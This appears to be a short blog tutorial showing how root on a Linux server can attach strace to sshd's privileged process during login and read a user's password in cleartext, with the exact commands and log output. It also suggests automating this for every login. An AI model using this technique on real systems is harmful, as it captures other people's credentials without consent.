In one window, log into a Linux server (RHEL 5.3 in my case) as root. In another window, use ssh to log from a remote machine into the server:
jhall@bourdain ~$ sftp guest@myserver
Connecting to myserver...
When it prompts for the password, hop back over to the server and run ps to figure out which process is handling the connection:
[root@myserver ~]# ps auxf | grep ssh
root 28705 0.0 0.0 60672 1184 ? Ss 12:32 0:00 /usr/sbin/sshd
root 29361 0.0 0.0 86856 3116 ? Ss 14:36 0:00 \_ sshd: guest [priv]
sshd 29362 0.0 0.0 62016 1384 ? S 14:36 0:00 \_ sshd: guest [net]
What you need from this is the PID of the sshd process with [priv] next to it. In this case, 29361. Use strace to hop in and monitor this process (redirecting STDERR to a file, for later reference):
[root@myserver ~]# strace -p 29361 2> strace.log
Go back over to the remote system and type in the password. Go back to the server, cancel the strace, and then take a look at the log file. On my system, the 3rd line down had the payload:
Process 29361 attached - interrupt to quit
read(6, "\0\0\0\f", 4) = 4
read(6, "\v\0\0\0\7inmelet", 12) = 12
getuid() = 0
open("/etc/passwd", O_RDONLY) = 4
The text that we're looking for here is "inmelet", which is our sample password. In the clear.
Of course, this was a very manual process. But plenty of techniques exist would would allow us to monitor sshd, and launch strace automagically every time a user logged in. Of course, if you're using ssh keys, then there would be no password to see in the clear anyway. I haven't tested to see if you could steal the ssh key though. That might be a fun excercise too.